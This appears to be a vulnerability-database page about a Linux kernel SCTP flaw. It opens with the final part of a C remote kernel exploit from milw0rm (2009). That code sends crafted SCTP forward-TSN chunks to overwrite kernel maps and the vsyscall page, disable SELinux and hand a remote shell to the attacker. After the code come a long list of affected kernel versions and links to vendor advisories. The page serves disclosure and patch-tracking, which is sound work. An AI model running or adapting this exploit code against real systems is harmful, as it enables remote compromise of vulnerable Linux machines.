tsn); __msg("[**] Disabling Selinux Enforcing Mode..\n"); ret = build_stream(__zero, 4, 0); if(ret < 0) __fatal("Error Building Streams..."); htons_streams(streams, ret); send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); } __msg("[**] Overwriting neightboard sctp map ......\n"); acc = (k->slubsize - k->chunksize) / 2; ret = build_stream(k->vsysaddr, k->ptrsize, acc); if(ret < 0) __fatal("Error Building Streams..."); htons_streams(streams, ret); send_fwd_chunk(sport, h.rport, streams, ret, vtag, tsn); __msg("[**] Overwriting vsyscall shadow map..\n"); acc = 0x930 / 2; ret = build_stream(k->scode, k->scodesize, acc); //1176 if(ret < 0) __fatal("Error Building Streams..."); htons_streams(streams, ret); send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); __msg("[**] Hijacking vsyscall shadow map..\n"); ret = build_stream(k->vsysjump, k->vsysjumpsize, 0); if(ret < 0) __fatal("Error Building Streams..."); htons_streams(streams, ret); send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); sleep(1); } else __fatal("VTAG/TSN not found: network error"); multiplex(listenfd); __msg("[**] Closing Connection... \n"); return 0; } // milw0rm.com [2009-04-28]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.27

Linux>>Linux_kernel >> Version 2.2.27

Linux>>Linux_kernel >> Version 2.4.36

Linux>>Linux_kernel >> Version 2.4.36.1

Linux>>Linux_kernel >> Version 2.4.36.2

Linux>>Linux_kernel >> Version 2.4.36.3

Linux>>Linux_kernel >> Version 2.4.36.4

Linux>>Linux_kernel >> Version 2.4.36.5

Linux>>Linux_kernel >> Version 2.4.36.6

Linux>>Linux_kernel >> Version 2.6

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.19.4

Linux>>Linux_kernel >> Version 2.6.19.5

Linux>>Linux_kernel >> Version 2.6.19.6

Linux>>Linux_kernel >> Version 2.6.19.7

Linux>>Linux_kernel >> Version 2.6.20.16

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Linux>>Linux_kernel >> Version 2.6.22_rc1

    Linux>>Linux_kernel >> Version 2.6.22_rc7

      Linux>>Linux_kernel >> Version 2.6.23

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      Linux>>Linux_kernel >> Version 2.6.23_rc1

        Linux>>Linux_kernel >> Version 2.6.24

        Linux>>Linux_kernel >> Version 2.6.24.1

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        Linux>>Linux_kernel >> Version 2.6.24.6

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        Linux>>Linux_kernel >> Version 2.6.24_rc1

          Linux>>Linux_kernel >> Version 2.6.24_rc4

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                Linux>>Linux_kernel >> Version 2.6.25.1

                Linux>>Linux_kernel >> Version 2.6.25.1

                  Linux>>Linux_kernel >> Version 2.6.25.2

                  Linux>>Linux_kernel >> Version 2.6.25.2

                    Linux>>Linux_kernel >> Version 2.6.25.3

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                      Linux>>Linux_kernel >> Version 2.6.25.4

                      Linux>>Linux_kernel >> Version 2.6.25.4

                        Linux>>Linux_kernel >> Version 2.6.25.5

                        Linux>>Linux_kernel >> Version 2.6.25.5

                          Linux>>Linux_kernel >> Version 2.6.25.6

                          Linux>>Linux_kernel >> Version 2.6.25.6

                            Linux>>Linux_kernel >> Version 2.6.25.7

                            Linux>>Linux_kernel >> Version 2.6.25.7

                              Linux>>Linux_kernel >> Version 2.6.25.8

                              Linux>>Linux_kernel >> Version 2.6.25.8

                                Linux>>Linux_kernel >> Version 2.6.25.9

                                Linux>>Linux_kernel >> Version 2.6.25.9

                                  Linux>>Linux_kernel >> Version 2.6.25.10

                                  Linux>>Linux_kernel >> Version 2.6.25.10

                                    Linux>>Linux_kernel >> Version 2.6.25.11

                                    Linux>>Linux_kernel >> Version 2.6.25.11

                                      Linux>>Linux_kernel >> Version 2.6.25.12

                                      Linux>>Linux_kernel >> Version 2.6.25.12

                                        Linux>>Linux_kernel >> Version 2.6.25.13

                                        Linux>>Linux_kernel >> Version 2.6.25.14

                                        Linux>>Linux_kernel >> Version 2.6.25.15

                                        Linux>>Linux_kernel >> Version 2.6.25.16

                                        Linux>>Linux_kernel >> Version 2.6.25.17

                                        Linux>>Linux_kernel >> Version 2.6.26

                                        Linux>>Linux_kernel >> Version 2.6.26.1

                                        Linux>>Linux_kernel >> Version 2.6.26.2

                                        Linux>>Linux_kernel >> Version 2.6.26.3

                                        Linux>>Linux_kernel >> Version 2.6.26.4

                                        Linux>>Linux_kernel >> Version 2.6.26.5

                                        Références

                                        http://secunia.com/advisories/35390
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.redhat.com/support/errata/RHSA-2009-1055.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://www.redhat.com/support/errata/RHSA-2009-0331.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://www.securityfocus.com/bid/33113
                                        Tags : vdb-entry, x_refsource_BID
                                        http://www.redhat.com/support/errata/RHSA-2009-0053.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://secunia.com/advisories/35174
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.debian.org/security/2009/dsa-1749
                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                        http://www.debian.org/security/2009/dsa-1794
                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                        http://secunia.com/advisories/33674
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.ubuntu.com/usn/usn-751-1
                                        Tags : vendor-advisory, x_refsource_UBUNTU
                                        http://secunia.com/advisories/36191
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/34252
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/35011
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.vupen.com/english/advisories/2009/0029
                                        Tags : vdb-entry, x_refsource_VUPEN
                                        http://rhn.redhat.com/errata/RHSA-2009-0264.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://secunia.com/advisories/33858
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/34981
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.vupen.com/english/advisories/2009/2193
                                        Tags : vdb-entry, x_refsource_VUPEN
                                        http://secunia.com/advisories/34394
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.debian.org/security/2009/dsa-1787
                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                        http://secunia.com/advisories/33854
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.openwall.com/lists/oss-security/2009/01/05/1
                                        Tags : mailing-list, x_refsource_MLIST
                                        http://www.securitytracker.com/id?1022698
                                        Tags : vdb-entry, x_refsource_SECTRACK
                                        http://secunia.com/advisories/34680
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/34762
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/35394
                                        Tags : third-party-advisory, x_refsource_SECUNIA